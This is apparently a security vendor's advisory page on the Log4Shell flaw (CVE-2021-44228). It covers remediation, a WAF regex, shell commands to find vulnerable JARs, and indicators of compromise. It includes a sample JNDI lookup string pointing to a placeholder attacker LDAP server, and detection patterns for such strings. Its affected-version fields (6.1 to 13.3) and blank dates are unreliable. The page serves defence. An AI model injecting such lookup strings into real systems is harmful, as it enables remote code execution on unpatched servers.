critical CVSS 10 Actively exploited EPSS 100% Public exploit available

CVE-2021-44228·Log4j vulnerability

Apache Log4j2 2.0-beta9 through 2.15.0 (excluding security releases 2.12.2, 2.12.3, and 2.3.1) JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. From log4j 2.15.0, this behavior has been disabled by default. From version 2.16.0 (along with 2.12.2, 2.12.3, and 2.3.1), this functionality has been completely removed. Note that this vulnerability is specific to log4j-core and does not affect log4net, log4cxx, or other Apache Logging Services projects.

Severity
critical
Software
Log4j
Fixed in
13.3
Published

How Defensia detected this

Defensia agents read the web server logs of the Linux servers they protect and match incoming requests against exploitation signatures. When the same CVE is matched across enough independent servers, from enough distinct networks, it is recorded as being actively exploited. That threshold was crossed for CVE-2021-44228 starting , across 4.2% of the servers Defensia monitors, from 3 distinct attacking IP addresses.

Every CVE we currently measure under active exploitation is listed together, with the share of servers targeted and how long each has been running.

Where the attacks came from

TR · 6US · 3

Aggregated across every server Defensia monitors, over 2 days of observation, last measured . Counts are of distinct servers and distinct source addresses, not of requests. No customer, host or domain is identified.

How likely is exploitation

FIRST's Exploit Prediction Scoring System puts the probability of this CVE being exploited in the next 30 days at 100% — among the highest-scoring CVEs ever published. EPSS is an independent forecast of exploitation, not a severity rating: it says nothing about how much damage a successful attack does, which is what a CVSS score measures.

Affected versions

From: 6.1

Until: 13.3

Fixed in: 13.3

How to fix this CVE

Upgrade Apache Log4j to version 2.16.0 or later (2.12.2, 2.12.3, or 2.3.1 for older branches) to eliminate the JNDI message lookup substitution feature that allows remote code execution. If immediate patching is not possible, disable message lookup substitution by setting the system property `log4j2.formatMsgNoLookups=true`. Verify the upgrade across all Java applications and services in your environment, as Log4j is commonly embedded in third-party dependencies.

sudo dnf update log4j

Defensia detects this vulnerability

What an exploitation attempt looks like

Sample log line indicative of exploitation attempts:

${jndi:ldap://[attacker-controlled-server]/[arbitrary-class]}

WAF mitigation (if patching is not yet possible)

Add this rule to your WAF to block exploitation attempts while you schedule the patch.

Implement WAF rules to block HTTP requests containing JNDI lookup patterns: block requests with `${jndi:` in query parameters, POST bodies, headers, or URL paths. Use regex pattern `\$\{jndi:(ldap|rmi|dns|nis)://` to catch exploitation attempts. Configure your WAF to log and alert on these patterns while patching systems.

How to check if you are affected

  1. Check installed Log4j version: `find / -name 'log4j-core-*.jar' 2>/dev/null | xargs -I {} sh -c 'echo {} && unzip -p {} META-INF/maven/org.apache.logging.log4j/log4j-core/pom.properties | grep version'` or `dpkg -l | grep -i log4j`
  2. Identify all Java applications using Log4j: `lsof +D /usr/share/java /opt /var/lib 2>/dev/null | grep log4j` or scan application classpath directories
  3. Search application logs for JNDI exploitation patterns: `grep -ri '\${jndi:' /var/log/ /opt/*/logs/ 2>/dev/null` or `grep -ri 'ldap://' /var/log/ 2>/dev/null`
  4. Verify patched version is active: `java -cp /path/to/log4j-core-*.jar org.apache.logging.log4j.core.util.Log4jVersion` should return 2.16.0 or higher, and confirm no vulnerable version JAR files exist in classpath

Indicators of compromise

  • ${jndi:ldap://
  • ${jndi:rmi://
  • ${jndi:dns://
  • log4j-core-2.14.1.jar
  • log4j-core-2.15.0.jar

FAQ

What is CVE-2021-44228?

CVE-2021-44228 (Log4Shell) is a critical remote code execution vulnerability in Apache Log4j that allows attackers to execute arbitrary code by crafting malicious log messages containing JNDI lookup strings that point to attacker-controlled LDAP servers. The vulnerability affects Log4j versions 2.0-beta9 through 2.15.0 due to unsafe message substitution in the logging library.

Is CVE-2021-44228 being actively exploited?

While this vulnerability is no longer listed on the CISA KEV catalog for active exploitation, it was widely exploited in the wild immediately after disclosure in December 2021. Organizations should still prioritize patching as many threat actors maintain scanning and exploitation capabilities for unpatched systems.

What versions of Log4j are affected by CVE-2021-44228?

Log4j2 versions 2.0-beta9 through 2.15.0 are vulnerable, excluding security releases 2.12.2, 2.12.3, and 2.3.1. Version 2.16.0 and later have completely removed the vulnerable JNDI lookup feature.

How do I check if my server is vulnerable to CVE-2021-44228?

Run `find / -name 'log4j-core-*.jar' 2>/dev/null` to locate Log4j JARs, then extract the version from the filename or manifest. If the version is between 2.0-beta9 and 2.15.0 (excluding patched releases), your system is vulnerable. Also check `/var/lib/java`, `/opt`, and application-specific directories where Log4j may be bundled.

Does Defensia detect CVE-2021-44228?

Yes — Defensia's CVE advisory scanner compares installed package versions against the NVD database. If Log4j is installed on a monitored server, CVE-2021-44228 will appear in your dashboard with remediation steps.

References

Track CVEs across your fleet automatically

Defensia scans your Linux servers and tells you exactly which ones are running vulnerable versions — including CVE-2021-44228. Free for 1 server.

Get started free